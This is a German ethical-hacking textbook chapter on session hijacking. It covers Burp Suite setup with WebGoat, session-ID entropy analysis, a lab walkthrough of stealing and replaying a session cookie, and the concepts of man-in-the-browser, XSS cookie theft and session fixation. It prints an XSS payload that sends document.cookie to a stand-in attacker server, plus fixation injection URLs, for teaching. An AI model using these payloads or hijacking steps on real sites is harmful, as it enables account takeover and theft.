Möchten Sie in den nächsten Abschnitten ein vergleichbares Bild vorfinden, sollten Sie die »Web-Ziege« und den Browser nun zunächst noch einmal schließen. Sonst werden Sie unter Umständen bereits diverse Anfragen in der Burp Suite abfangen, die anfänglich die Übersicht erschweren. WebGoat beenden Sie mit Strg+C im entsprechenden Terminalfenster, aus dem die Anwendung aufgerufen wurde.
18.3.6 Die Burp Suite – Grundlagen und Installation
Die Burp Suite ist eines der führenden Programme für Web-Security-Assessments. Sie wird von Portswigger (https://portswigger.net) entwickelt und steht in drei Varianten zur Verfügung. Während die kommerziellen Enterprise- und Professional-Versionen darauf ausgerichtet sind, umfassende automatisierte Analysen vorzunehmen, stellt die Community-Version nur manuelle Tools bereit, die jedoch für unsere Zwecke absolut ausreichend sind. Dementsprechend arbeiten wir mit der kostenlosen Community-Version, die Sie entweder auf der Hersteller-Website herunterladen, oder aber Sie greifen auf die in Kali Linux bereits vorinstallierte Version zurück. Falls Sie die neueste Version nutzen möchten, sollten Sie diese von der o.a. Website herunterladen, da der angebotene Update-Prozess im Programm selbst unter Umständen nicht problemlos funktioniert.
Während für Windows eine EXE-Datei bereitgestellt wird, steht für Linux ein Shell-Skript (.sh) für die Installation zur Verfügung und macOS wird mit einer DMG-Datei versorgt. Generell werden alle Plattformen alternativ in Form einer JAR-Datei bedient, die über Java gestartet wird. Dementsprechend starten Sie ggf. die Burp Suite durch den Java-Befehl von der Kommandozeile, analog zu WebGoat:
java -jar burpsuite_community_v2020.2.1.jar
In Kali Linux haben Sie darüber hinaus folgende Möglichkeiten, die Burp Suite zu starten:
Die in Kali integrierte Version der Burp Suite befindet sich im Anwendungsmenü unter 03 – Webapplikationen.
Alternativ können Sie die Burp Suite auch wieder über die Konsole mit dem Befehl burpsuite aufrufen – in diesem Fall wird die mitgelieferte Variante /usr/bin/burpsuite gestartet. Das ist allerdings nur ein Shellskript. Darin verbirgt sich ein Java-Aufruf für das JAR-File der Burp Suite.
Haben Sie eine aktuellere Version von der Website bereitgestellt, müssen Sie ggf. den korrekten Pfad zur gewünschten Burp-Suite-Datei angeben. Standardmäßig lautet der Pfad ~/BurpSuiteCommunity/BurpSuiteCommunity.
Die ggf. aufkommende Warnmeldung bezüglich der JRE-Version können Sie ignorieren, das Programm läuft nach unserer Erfahrung trotzdem einwandfrei.
Nach dem Start führt Sie ein Assistent durch die ersten Einstellungen. Sie können alle Voreinstellungen übernehmen und ein Temporary Project starten. Zunächst erscheint das Dashboard mit einer Übersicht über verschiedene Aspekte, siehe Abbildung 18.11.
Das Programm enthält zahlreiche Module und wirkt auf den ersten Blick unter Umständen nicht sehr intuitiv zu bedienen. Aber keine Sorge: Wir werden uns Schritt für Schritt diverse Aspekte der Burp Suite genauer ansehen, sodass Sie das Tool im weiteren Verlauf gut kennenlernen werden. Für den Web-Hacking-Teil des Buches ist die Burp Suite essenziell, so dass sich die Einarbeitung an dieser Stelle in jedem Fall lohnt.
18.3.7 Burp Suite als Intercepting Proxy
Die Burp Suite ist im Grunde ein Proxy der besonderen Art. Sie nimmt Anfragen von Webclients, also Browsern, entgegen und ermöglicht eine entsprechende Analyse und Manipulation der Daten. Damit ist das Proxy-Modul die Basis für alle weiteren Komponenten.
Den Burp-Proxy konfigurieren
Per Default lauscht der Burp-Proxy ebenfalls auf Port 8080/tcp, genau wie WebGoat. Das funktioniert in unserem Szenario allerdings nicht, es darf an einem bestimmten Port nur ein Netzwerk-Programm gebunden sein. Daher stellen wir den Proxy-Port an dieser Stelle um auf 8000 und stellen sicher, dass das Häkchen zum Aktivieren des Proxys gesetzt ist, wie in Abbildung 18.12 dargestellt.
Markieren Sie dazu den Eintrag und klicken Sie auf Edit. Die IP-Adresse belassen Sie auf 127.0.0.1, da wir nur lokal arbeiten. In einem echten Penetrationstest müssen Sie ggf. den Proxy an die Adresse der physischen NIC binden, um externen Systemen den Verbindungsaufbau zu ermöglichen. Wichtig ist, das Häkchen davor zu setzen. Abbildung 18.13 zeigt, wie Sie die Portbindung prüfen können. Im Beispiel ist WebGoat ebenfalls aktiv und an 8080/tcp gebunden.
Stellen Sie nun sicher, dass unter Proxy|Intercept der Button Intercept is on aktiviert ist, wie in Abbildung 18.14 dargestellt. Damit werden die Daten zunächst vom Proxy abgefangen (engl. intercept), bevor diese im Anschluss manuell an das Ziel weitergeleitet werden.
Jetzt kommen wir zur Client-Seite, die in unserem Szenario ebenfalls auf Kali Linux platziert ist, da wir über 127.0.0.1 kommunizieren. Der Browser, in unserem Fall Firefox, muss dazu gebracht werden, die Burp Suite als Proxy zu nutzen. Sie können hierzu die Einstellungen im Firefox unter Network Settings vornehmen, wie in Abbildung 18.15 gezeigt.
Wichtig ist, dass das Feld No Proxy for leer ist und nicht etwa als Ausnahme localhost oder 127.0.0.1 enthält, sonst wird die Kommunikation zur Loopback-Schnittstelle nicht durch den Proxy abgefangen.
Zudem ist aus Sicherheitsgründen in Firefox seit Version 67 eine Sperre für Localhost-Proxys eingebaut. Sie kann über die Konfiguration von Firefox (via Adresszeile: about:config) umgangen werden, indem die Einstellung network.proxy.allow_hijacking_localhost auf true gesetzt wird, wie in Abbildung 18.16 gezeigt.
Anschließend sind wir startbereit und können einen ersten Test durchführen.
Eine Kommunikation abfangen
Um die Verbindung zu testen, sollten Sie nun WebGoat erneut starten und eine Verbindung über den Browser (http://localhost:8080/WebGoat) herstellen. Im Browser tut sich nichts, in der Statuszeile steht Waiting for localhost...? Perfekt!
Dann wechseln Sie mal zur Burp Suite und schauen im Register Proxy|Intercept nach, falls sich der Proxy nicht von selbst in den Vordergrund drängt, was er normalerweise tut. Dort sollte der GET-Request zu sehen sein, wie Abbildung 18.17 zeigt. Die folgenden Abbildungen sind mit einer älteren Burp-Suite-Version entstanden, die funktionell in Bezug auf unsere Aktionen jedoch identisch mit der aktuellen Version (Mitte 2023) ist. Die Burp Suite hat an dieser Stelle den Request abgefangen und ermöglicht Ihnen nun die Entscheidung über das weitere Vorgehen. Wie Sie später sehen werden, ist es möglich, die HTTP-Kommunikation zu manipulieren. Zu diesem Zeitpunkt benötigen wir dies jedoch noch nicht. Wir wollen den Request jetzt erst einmal weiterleiten.
Klicken Sie daher so oft auf Forward, bis keine weiteren Requests mehr erscheinen. Der Browser wiederholt seine Anfragen periodisch, daher sind es vermutlich mehr als einer. Zudem versucht Firefox, auch andere Verbindungen aufzubauen, z.B. zu firefox.com.
Haben Sie die Pakete weitergeleitet, erscheint im Browser die bereits bekannte Anmeldemaske Ihres WebGoat-Servers. Loggen Sie sich in WebGoat ein und betrachten Sie den abgefangenen Request, der sich wie in Abbildung 18.18 gezeigt darstellt.
Die wichtigen Stellen werden sogar farblich markiert: Wir können nicht nur die Session-ID identifizieren, sondern zudem noch den Benutzernamen und das Passwort! Klicken Sie auf Forward, bis alle abgefangenen Pakete durch sind. Der Browser wartet geduldig, bis alle Anfragen beantwortet wurden, und zeigt anschließend die Webseite mit angemeldetem Benutzer an (vgl. Abbildung 18.19).
An dieser Stelle haben wir als Angreifer einen entscheidenden Etappensieg errungen: Wir haben einen Proxy zwischen dem Opfer und dem Webserver installiert und können nun aus einer Man-in-the-Middle-Position ganz gezielte Analysen, aber auch Manipulationen durchführen.
Sie werden anfangs vermutlich noch nicht alle Funktionen der Burp Suite verstehen. Arbeiten Sie sich schrittweise ein und haben Sie etwas Geduld! Wir werden im weiteren Verlauf dieses Buches noch auf verschiedene Aspekte der Burp Suite und seiner Module eingehen. Am Ende werden Sie ein fundiertes Verständnis für die wichtigsten Funktionen erlangt haben – vorausgesetzt, Sie machen mit und vollziehen die praktischen Demonstrationen in Ihrer Laborumgebung nach.
18.3.8 Der Burp Sequencer – Session-IDs analysieren
Unser Ausgangspunkt war, dass wir die Qualität der Session-ID prüfen wollten. Hierzu nutzen wir das Burp-Modul Sequencer. Es ermöglicht das automatisierte Sammeln von Session-IDs durch ständige Verbindungsanfragen. Haben Sie z.B. 1000 Session-IDs erhalten, können Sie den Sequencer mit der Analyse beauftragen und erhalten zum einen eine Einschätzung der Qualität der Session-ID durch das Modul selbst und zum anderen zahlreiche Auswertungen, die einem erfahrenen Security-Analysten unter Umständen Schwächen in der Session-ID aufzeigen, die dem Auswertungsalgorithmus entgangen sind.
Schauen wir uns das in der Praxis an. Konkret suchen wir nach einem Request vom Client, den der Server mit einem Set-Cookie im HTTP-Header beantwortet, da WebGoat in dieser sehr gängigen Form die Session-ID übermittelt. Dazu analysieren wir die Responses (also die Antworten), die die Burp Suite ebenfalls protokolliert. Wir gehen folgendermaßen vor:
Burp Suite
Klicken Sie in der Burp Suite unter Proxy|Intercept auf Intercept is on, um das Abfangen der Requests zu deaktivieren. Der Button erhält die Aufschrift Intercept is off.
Browser
Schließen Sie nun den Browser, um die Verbindung zu WebGoat komplett zurückzusetzen und starten Sie den Browser erneut. Nun können Sie sich wieder über http://localhost:8080/WebGoat mit WebGoat verbinden und sich anmelden. Spätestens damit ist die Session-ID erzeugt worden, um die es uns hier geht.
Burp Suite
Unter Proxy|http history finden Sie alle abgefangenen HTTP-Requests vom Client. Markieren Sie die erste Anfrage und klicken Sie unten auf den Reiter Response, um die Antworten vom Server zum jeweiligen Request zu betrachten. Nun gehen Sie alle gesammelten Anfragen durch, um nach Set-Cookie im jeweiligen Response-Paket zu suchen. Abbildung 18.20 zeigt den gesuchten Eintrag.
Gehen Sie nun wieder auf den Reiter Request und klicken Sie dort mit der rechten Maustaste in das Feld unter dem Reiter Raw, um das Kontextmenü zu öffnen. Wählen Sie den Punkt Send to Sequencer, wie in Abbildung 18.21 gezeigt. Das überträgt den GET-Request zu ebenjenem Modul.
Im Register Sequencer befindet sich nun eine Kopie des Requests. Haben Sie einen passenden Request gewählt, so bietet Ihnen der Sequencer die richtige Stelle unter Token Location Within Response im mittleren Bereich bereits an. Sie können je nach Inhalt des Responses zwischen Cookie, Form field und Custom location wählen. Wir belassen die Wahl auf Cookie, da die Session-ID in dieser Form übermittelt wird. Über den Button Start live capture können Sie den Request automatisiert immer wieder absenden lassen und der Sequencer sammelt alle Antworten, die darauf vom Server folgen. Abbildung 18.22 verdeutlicht dies.
Haben Sie genügend Session-IDs gesammelt (per Default werden 20.000 Tokens abgefangen, bis der Vorgang beendet wird), können Sie über den Button Analyze now die Analyse starten. Im Ergebnis erhalten Sie eine Übersicht inklusive Einschätzung der Qualität der Session-ID sowie mehrere Auswertungsdiagramme für die manuelle Analyse, wie Abbildung 18.23 zeigt.
Bei WebGoat wird die Qualität der Session-ID als »excellent« eingestuft. In diesem Zusammenhang wird häufig von Entropie bzw. entropy gesprochen. Darunter versteht man das »Maß der Unwissenheit« und sie beschreibt daher die Zufälligkeit der Elemente in der Session-ID.
Möchten Sie weitergehende Analysen vornehmen, können Sie die als Tokens bezeichneten Session-IDs, die Sie nun gesammelt haben, auch über Copy Tokens in die Zwischenablage kopieren, um sie in einer Datei oder Datenbank einzufügen, oder auch über Save Tokens als Text-Datei speichern.
Unter dem Strich lässt sich für dieses Szenario mit WebGoat festhalten, dass die Session-IDs eine hohe Qualität aufweisen und vermutlich keine Schwachstelle darstellen. Der Hintergrund hierzu ist, dass WebGoat auf dem Java-Webserver Tomcat basiert und diese Komponente im Hintergrund die Session-IDs erzeugt. Zumindest können Sie mit diesem Ergebnis im Rahmen eines Penetration-Tests eine Aussage darüber treffen, ob die Session-ID Schwächen aufweist oder eher nicht.
18.3.9 Entführen der Session mithilfe der Session-ID
Ist es dem Angreifer gelungen, eine gültige Session-ID zu ermitteln, kann er die Session entführen. In diesem Abschnitt demonstrieren wir Ihnen praktisch und zum Mitmachen, wie Sie dabei vorgehen können. Dazu nutzen wir als Opfer-System ein Windows 10, von dem wir die Sitzung zu WebGoat mit unserem Kali mithilfe der Burp Suite übernehmen wollen.
Die Burp Suite konfigurieren
Zunächst bereiten wir die Burp Suite vor, um die Session-ID möglichst effizient abfangen zu können. Unter Target|Scope fügen Sie unter Include in scope über den Button Add das Präfix http://192.168.1.205:8080 hinzu und bestätigen mit Yes, dass Out-Of-Scope-Items nicht in der Proxy History angezeigt werden. Dies wirkt wie ein Anzeigefilter bei Wireshark und sorgt dafür, dass Sie nur noch den für Sie selbst interessanten Traffic sehen werden. Das sind demnach alle Verbindungen mit dem WebGoat-Server (Port 8080) auf unserem Kali-System. Die Vorgehensweise macht Abbildung 18.24 noch einmal deutlich.
Unter Proxy|Options stellen wir sicher, dass die Burp Suite nicht nur lokal auf 127.0.0.1, sondern auf allen Interfaces zur Verfügung steht und auf Port 8000 lauscht, wie in Abbildung 18.25 gezeigt. Damit können wir auch von außen auf den Proxy zugreifen. Der letzte Punkt ist, dass wir unter Proxy|Intercept das Abfangen von Requests deaktivieren (Intercept is off), um keinen Zeitverlust durch das manuelle Forwarding hinnehmen zu müssen. Die HTTP history-Liste füllt sich auch, wenn wir Requests nicht abfangen.
Den Browser präparieren
Zur Orientierung: Wir befinden uns auf Kali Linux und bereiten Firefox als Browser für den Angriff vor. Hierfür benötigen wir ein Tool, das die Erstellung und Manipulation von Cookies ermöglicht. Für Firefox gab es lange Zeit das Add-on Firebug, das auch in vielen älteren Online-Tutorials verwendet wird. Leider wird dieses Tool nicht mehr weiterentwickelt. Mit Firefox 57 endete die Unterstützung durch alte Add-ons, sodass auch Firebug in der gewohnten Form nicht mehr verfügbar ist (es ist jedoch in den Firefox Development Tools enthalten).
Als Ersatz wählen wir den Cookie-Editor. Über die Add-on-Verwaltung suchen Sie nach dem passenden Add-on. Binden Sie dieses Plug-in ein, so findet sich anschließend in der Symbolleiste ein angeknabberter Keks, wie in Abbildung 18.26 dargestellt.
Damit steht unser »Angriffs-Browser« bereit. Falls Sie keinen passenden Cookie-Editor finden sollten, können Sie den Wert im Übrigen auch in den Developer-Tools (F12 im Browser) unter Storage|Cookies manuell eintragen.
WebGoat für Zugriff vorbereiten
Damit wir auch über das Netzwerk Zugriff auf den WebGoat-Server haben, binden wir für dieses Szenario die Anwendung an unsere LAN-Schnittstelle.
Dazu erweitern Sie den Befehl beim Start von WebGoat um einen Parameter, der die Server-Adresse angibt. Beenden Sie ggf. WebGoat zuvor mit Strg+C und starten Sie die Webanwendung mit folgendem Befehl erneut:
java -jar webgoat-server-8.0.0.M24.jar --server.address=192.168.1.205
Kontrollieren Sie nach erfolgreichem Start mit netstat -tlpn, ob WebGoat über die LAN-Schnittstelle 192.168.1.205:8080 erreichbar ist (siehe Abbildung 18.27). Falls Sie eine andere IP-Adresse auf Ihrem Kali Linux nutzen, müssen Sie die Adresse natürlich ggf. anpassen.
Damit sind wir auf dem Angriffssystem startklar. Werfen wir einen Blick auf das Opfer.
Den Proxy auf Windows 10 konfigurieren
Wir gehen davon aus, dass Sie auf dem Windows-10-Client Firefox nutzen, für Edge oder einen anderen Browser funktioniert es analog. Stellen Sie sicher, dass der Browser den Proxy 192.168.1.205:8000 nutzt, wie Abbildung 18.28 zeigt.
Klicken Sie im Firefox in den Einstellungen unter Datenschutz & Sicherheit|Cookies und Website-Daten auf den Button Daten entfernen, um alle Cookies zu entfernen. Damit sind wir auch hier startklar, der Angriff kann beginnen.
Den Angriff durchführen
Jetzt kommt es darauf an: Stellen Sie sicher, dass der Browser die korrekten Proxy-Einstellungen hat und die Burp Suite korrekt konfiguriert ist, wie oben gezeigt. Falls Sie den Proxy schon eine Weile aktiviert haben, bietet es sich an, in der Burp Suite unter Proxy|HTTP history über einen Rechtsklick in die History-Liste die Option Clear history auszuwählen und damit die Liste zu löschen. Damit wird der Überblick erleichtert. Dieser Schritt ist optional.
Windows-System (Browser)
Auf dem Windows-System rufen Sie die Adresse http://192.168.1.205:8080/WebGoat/login auf und loggen sich als victim ein. Sie sollten die normale Startseite sehen, wie in Abbildung 18.29 dargestellt.
Kali Linux (Burp Suite)
Nun wechseln wir die Perspektive.
Auf dem Kali-System wechseln Sie in die Burp Suite unter Proxy|HTTP history und ziehen die Spalten Cookies und Time per Drag & Drop auf den Spaltentitel nach vorn. Damit können Sie die relevanten HTTP-Pakete einfacher identifizieren. In der Spalte Cookies finden Sie das Cookie, das der Server an den Client nach der Authentifizierung gesendet hat (siehe Abbildung 18.30).
Haben Sie den passenden Eintrag gefunden, schauen Sie in die Response, um den Inhalt des Cookies auszulesen. Hier finden sich gleich zwei relevante Informationen. Neben dem Cookie mit der Session-ID auch einen Header Location, der die nächste URL anzeigt, die der Browser aufrufen soll (siehe Abbildung 18.31).
Damit können wir jetzt die Session übernehmen. Markieren Sie den Wert der Session-ID (rot) und kopieren Sie diesen über Strg+C in die Zwischenablage. Den Bezeichner JSESSIONID und den im Cookie vermerkten Pfad /WebGoat merken Sie sich. Auf das Location-Feld kommen wir auch gleich zurück.
Öffnen Sie Firefox auf Kali Linux, falls noch nicht geschehen, und geben Sie die URL http://192.168.1.205:8080/WebGoat/login ein – Achtung: Die Adresse localhost oder 127.0.0.1 funktioniert hier nicht mehr, da die Webanwendung an die IP-Adresse der LAN-Schnittstelle gebunden ist! Öffnen Sie nun die Erweiterung Cookie Editor. Es sind (hoffentlich) keine Cookies vorhanden, wie in Abbildung 18.32 dargestellt.
Klicken Sie auf das Plus-Symbol (+), um ein neues Cookie zu erstellen. Fügen Sie die Werte sinngemäß ein, wie in Abbildung 18.33 zu sehen. Klicken Sie anschließend auf die Schaltfläche Add (rechts unten das Diskettensymbol).
Das Cookie wird erstellt und kann jetzt weiter bearbeitet werden. Klappen Sie das Cookie namens SESSIONID auf und stellen Sie sicher, dass die anderen Angaben vorhanden sind, wie in Abbildung 18.34 zu sehen.
Klicken Sie auf Save, um das Cookie bereitzustellen. Anschließend ändern Sie die URL in der Adresszeile des Browsers auf http://192.168.1.205:8080/WebGoat/welcome.mvc. Dies entspricht dem Wert des Headers Location, den der Server uns bzw. dem Opfer nach der Anmeldung übermittelt hat. Er beinhaltet eine Umleitung des Browsers auf die genannte URL. Nach Drücken der Taste Enter sehen Sie, dass wir eingeloggt sind – und zwar als victim, wie uns Abbildung 18.35 verdeutlicht.
Operation gelungen, wir haben die Session des Clients erfolgreich entführt. Wir haben uns das Session-Cookie geschnappt und können damit ohne reguläre Anmeldedaten die Session übernehmen. Da sich sowohl der echte Client als auch der Angreifer parallel in dieser Session bewegen können, sprechen wir hier auch von Sidejacking.
Dieses Beispiel zeigt Ihnen, wie Application Level Session Hijacking funktionieren kann. Dabei hatten wir keinerlei Probleme, parallel von zwei IP-Adressen über eine einzige Session-ID auf die Webanwendung zuzugreifen. In besser geschützten Umgebungen ist oftmals auch ein Network Level Hijacking notwendig, um die IP-Adresse des echten Clients zu übernehmen und diesen abzuhängen, da sonst die Webanwendung nicht mitspielt.
Bitte beachten Sie auch Folgendes: Dieses einfache Beispiel verdeutlicht diesen Angriffsvektor zwar sehr anschaulich, jedoch ist jede Webanwendung anders. Sie sollten also das Konzept hinter diesem Angriff verstehen, um auch andersgeartete Web-Sessions erfolgreich entführen zu können.
18.3.10 Man-in-the-Browser-Angriff
Eine Variante des Man-in-the-Middle-Angriffs stellt der Man-in-the-Browser-Angriff (kurz: MITB oder MIB) dar. Es handelt sich meistens um einen Angriff auf Online-Banking-Zugänge und -Transaktionen.
Das grundsätzliche Konzept hierbei ist folgendes: Ein Trojaner installiert unbemerkt eine Browser-Erweiterung (Extension). Diese wird automatisch beim nächsten Start des Browsers durch den Benutzer aktiviert. Als erste Amtshandlung registriert die Extension einen sogenannten »Handler« für das Laden einer Webseite. Ein Handler ist eine Funktion bzw. Routine, die einen bestimmten Prozess beim Eintreten eines festgelegten Ereignisses abarbeitet, wie Abbildung 18.36 verdeutlicht.
Wird eine beliebige Webseite aufgerufen, prüft dieser spezielle Handler die URL und vergleicht sie mit einer Liste von URLs, die als Exploit-Ziele definiert sind. Das umfasst ggf. diejenigen Banking-Zugänge, für die der Angreifer genau weiß, wie die Kommunikation funktioniert und wie er diese abfangen und manipulieren kann. Solch eine URL kann z.B. https://www.gulugulu-bank.org/account/transactions sein. Wird eine URL aus der Liste erkannt, so erhält die Extension eine entsprechende Rückmeldung vom Handler.
Der Benutzer meldet sich übrigens zuvor über die üblichen Sicherheitsmechanismen (SSL/TLS, PIN-TAN-Verfahren etc.) ganz regulär an der Webanwendung der Bank an und wechselt auf die betreffende URL. In diesem Moment registriert die Extension einen Button Event Handler.
Der Hintergrund hierzu ist schnell erklärt: Beim Online-Banking werden in der Regel Web-Formulare verwendet, die vom Benutzer mit Werten gefüllt werden, bevor er den – wie auch immer benannten – Submit-Button anklickt und die Daten somit zum Server hochlädt. In diesem Moment wird der Button Event Handler aktiv: Er fängt dieses Ereignis (Klicken des Submit-Buttons) ab und extrahiert die Originaldaten der Eingabefelder, die in entsprechenden Variablen gespeichert sind. Diese werden zur späteren Verwendung gespeichert.
Dies geschieht übrigens über das DOM-Interface. DOM steht für Document Object Model und bezeichnet eine Programmierschnittstelle (API), die HTML- oder XML-Dokumente in einer Baumstruktur darstellt. Ohne zu weit in die Details gehen zu wollen, sollten Sie den Begriff »DOM-Interface« kennen und wissen, dass diese API den Zugriff auf HTML-formatierte Webseiten und deren Elemente ermöglicht.
Kommen wir zurück zum Button Event Handler. Nachdem dieser die Daten extrahiert und gesichert hat, kann er die Variablen der Eingabefelder mit eigenen Werten füllen und an den Server senden lassen. Dazu leitet er das Ereignis Klicken des Submit-Buttons nun an den Browser weiter, der den Request absendet.
Der Server empfängt den Request, verarbeitet die manipulierten Daten und sendet eine Bestätigung (Receipt). Er kann nicht zwischen den echten und den manipulierten Daten unterscheiden, da der Request autorisiert ist und alle Daten aus seiner Sicht korrekt sind. Der Server kann demnach nicht feststellen, dass der bösartige Handler auf dem Client sowohl den Betrag von 100 auf 1000 Euro als auch das Zielkonto von 123456 auf 345678 geändert hat.
Die Antwort des Servers wird nun erneut von der Extension abgefangen. Auch hier wird wieder der Handler, der die URLs prüft, aktiv. Die Antwort kommt z.B. von https://www.gulugulu.org/account/receipt. Sie enthält die Bestätigung der Verarbeitung der manipulierten Daten (1000 Euro auf Konto 345678). Die Extension extrahiert die manipulierten Werte und setzt die ursprünglichen Werte wieder ein, bevor sie die Bestätigung an den Browser übergibt, der sie dem Benutzer darstellt. Der Benutzer erhält also eine Bestätigung über seine tatsächlich eingegebenen Daten und Werte (100 Euro auf Konto 123456) und hat kaum eine Chance, den Betrug zu erkennen.
Das Perfide an diesem Angriff ist, dass die MITB-Extension sich zwischen die Benutzerschnittstelle und die Sicherheitsmechanismen des Browsers und des Systems klemmt. Das macht es den beteiligten Komponenten und dem Benutzer extrem schwer, diesen Angriff zu erkennen. Trojaner, die diese Angriffstechnik einsetzen, sind unter anderem Zeus, SpyEye, Carberp und Torpig.
Neben der Manipulation der Daten im Rahmen von Transaktionen kann die MITB-Extension auch andere Ziele verfolgen. Dazu gehören u.a. der Diebstahl von Kreditkartendaten oder Banking-Zugängen, aber auch Logins für Social-Media-Plattformen.
18.3.11 Weitere Angriffsformen
Inhaltlich sind wir noch lange nicht am Ende des Themas »Session Hijacking« angelangt. Da viele Techniken, die für das Entführen von Sessions auf Anwendungsebene eingesetzt werden, auch primär dem Bereich Web-Hacking zuzuordnen sind, werden wir diesbezüglich in diesem Kapitel nur kurz die Konzepte darlegen und in Teil V des Buches ausführlicher auf deren Praxis eingehen.
Die Session-ID stehlen mit Cross-Site-Scripting (XSS)
Bei einem XSS-Angriff nutzt Mallory eine Schwachstelle in der Webanwendung aus, um bösartigen (Java-)Script-Code einzuschleusen, den das Opfer Alice dann über ihren Browser lokal ausführen lässt. XSS ist traditionell einer der am häufigsten verwendeten Angriffsvektoren beim Angriff auf Webanwendungen. Das Prinzip basiert darauf, dass ein Benutzer Script-Code Site-übergreifend ausführt. Es gibt verschiedene Varianten von XSS-Angriffen. Lassen Sie uns ein Beispiel etwas genauer betrachten:
Grundsätzlich stellen der Browser und der Webserver bzw. die Webanwendung sicher, dass Session-bezogene Daten nur innerhalb der Session genutzt werden können. Da die Session-IDs in der Regel als Cookies gespeichert werden, erlaubt der Browser den Zugriff auf diese Cookies nur der jeweiligen Website, zu der das Cookie gehört. Mallory kann von außen also nicht einfach das Session-Cookie für die Verbindung zwischen Alice’ Browser und Bobs Webanwendung auslesen, auch wenn Alice eine zweite Browser-Session zu einer Webanwendung aufgebaut hat, die unter Mallorys Kontrolle steht – der Browser gibt diese Informationen nicht einfach heraus.
Mallory muss stattdessen z.B. versuchen, im vertrauenswürdigen Kontext der Session zwischen Alice und Bob das Opfer Alice dazu zu bewegen, einen präparierten Link anzuklicken. Dieser Link beinhaltet Java-Script-Code, der die Session-ID ausliest und an einen externen Server sendet, der wiederum unter Mallorys Kontrolle steht.
So kann Mallory z.B. in einem Forum innerhalb von Bobs Webanwendung einen Beitrag hinterlassen, der mit einem Link entsprechend manipuliert ist. Der Link enthält einen Request zum regulären Server der Session, bricht aber innerhalb des Requests aus und kommuniziert mit einer externen Site (daher die Bezeichnung Cross-Site-Scripting):
https://bobsserver.tld/forum.html?username=<script>document.location='http://mallorysserver.tld/sessioncookie.php?c='document.cookie</script>
In diesem GET-Request findet eine Anfrage an Bobs Server statt, der eine Variable username übergibt. In dieser Variablen wird jedoch statt eines regulären Benutzers ein Java-Script hinterlegt, das über document.location auf Mallorys Server zeigt und dem PHP-Script sessioncookie.php die Variable c übergibt. Diese Variable enthält den über document.cookie ausgelesenen Inhalt des Session-Cookies der aktuellen Session zwischen Alice und Bob. Mallory muss in seinem Skript sessioncookie.php nun lediglich den Inhalt des GET-Requests auswerten und erlangt somit Zugriff auf die aktuelle Session-ID. Abbildung 18.38 verdeutlicht das Prinzip.
Das Ganze funktioniert genau dann, wenn Bobs Webanwendung die Gültigkeit der Eingaben (in diesem Fall den Forenbeitrag von Mallory) nicht ausreichend prüft. Dies stellt die Schwachstelle dar. Allerdings enthalten auch Browser heutzutage teilweise bereits eingebaute Schutzmechanismen vor XSS-Angriffen. Dazu gehört das HTTPOnly-Flag im Cookie. Damit wird verhindert, dass Cookies über Skripts ausgelesen werden können. Wir werden uns einige XSS-Beispiele in der Praxis in Teil V Web-Hacking anschauen und belassen es daher an dieser Stelle bei dieser kurzen Übersicht.
Session-Replay-Angriff
Diese Angriffs-Kategorie ist im Grunde die Weiterführung des bisher Beschriebenen: Kann Mallory die Session-ID (bzw. das Session Authentication Token) via Sniffing oder MITM oder andere Methoden ermitteln, so ist er in der Lage, die Authentifizierung bei der Webanwendung im Namen des Opfers vorzunehmen und dessen Identität vorzutäuschen (engl. Impersonation). Dazu sendet er das Authentication Token einfach erneut.
Dieses Prinzip haben wir auch bei der Session-Übernahme in Abschnitt 18.3.9 angewandt.
Session-Fixation-Angriff
Der Session-Fixation-Angriff basiert erneut auf einer Schwachstelle der Webanwendung – in diesem Fall akzeptiert die Webanwendung eine bereits verwendete Session-ID bei einer Neuanmeldung eines anderen Benutzers. Das kann Mallory ausnutzen. Dazu meldet er sich z.B. zunächst selbst bei der Webanwendung an und schickt Alice einen Link zu dieser Anwendung mit der ihm zugewiesenen Session-ID in der URL.
Meldet Alice sich nun an, akzeptiert die Webanwendung die vorgeschlagene Session-ID und erstellt für Alice eine Session, ohne eine neue Session-ID zu generieren. Mallory kann nun die Session entführen, da ihm die (von ihm selbst gelieferte) Session-ID natürlich bekannt ist. Abbildung 18.40 zeigt das Konzept.
Das Einfügen der Session-ID erfolgt oft über die URL, wobei verschiedene Varianten existieren, unter anderem:
als Variable, z.B.: http://gulugulu.org/login.php?sessionid=123abc
als Skript, z.B.: http://gulugulu.org/<script>document.cookie="sessionid=123abc";</script>
als META-Tag, z.B.: http://gulugulu.org/<meta http-equiv=Set-Cookie content="sessionid=123abc">
Darüber hinaus kann das Session Token in einem versteckten Formular (hidden form field) oder als Cookie übermittelt werden. Welche Variante der Angreifer nutzt, hängt von der Art ab, in der der Server die Session-IDs verwaltet.
18.5 Zusammenfassung und Prüfungstipps
Werfen wir wieder einen Blick zurück: Was haben Sie gelernt, wo stehen Sie und wie geht es weiter?
18.5.1 Zusammenfassung und Weiterführendes
Session Hijacking ist einer der gefährlichsten Angriffsvektoren überhaupt. Gelingt es seinem Angreifer, die Session eines Benutzers (oder gar eines Administrators) zu kapern, also zu entführen, so kann er in dessen Namen grundsätzlich all die Dinge tun, die der privilegierte Benutzer hätte tun können. Zudem ist eine Entführung einer Session mitunter nur schwer zu entdecken.
Sie haben erfahren, dass das Session Hijacking in die Bereiche Network und Application Level Hijacking unterschieden wird. Klartext-Protokolle wie Telnet sind prädestiniert für einen Network-Hijacking-Angriff.
Auf der anderen Seite stehen die Anwendungen. Hier zielen Hijacking-Angriffe in erster Linie auf Webanwendungen ab, die über eine Session-ID bzw. ein Session Token verwaltet werden. Da HTTP zustandslos ist, müssen diese Werte sicherstellen, dass ein Benutzer auch bei vielen separaten HTTP-Verbindungen immer wieder erkannt wird. Die Session-IDs werden entweder als Cookie, in einer URL oder als Hidden Form Value, also als Wert in einem unsichtbaren Formular, übermittelt. Die häufigste und sicherste Form ist das Cookie.
Ein Cookie ist eine Art Datei, die in einem speziellen Speicherbereich des Browsers gespeichert wird und genau einer Domain zugeordnet ist. Der Browser gibt den Zugriff auf dieses Cookie grundsätzlich nur für diese Domain frei.
Gelingt es dem Angreifer, die Session-ID zu ermitteln, kann er die Session unter Umständen übernehmen. Dazu stehen ihm verschiedene Möglichkeiten zur Verfügung. Er kann die Session-ID mitsniffen oder per Brute Force herausfinden. Ist der Algorithmus anfällig, so kann er die Session-ID evtl. erraten, das ist allerdings nur selten der Fall. Brute Force ist bei Verwendung langer und entsprechend zufälliger Schlüssel ebenfalls nur selten erfolgreich.
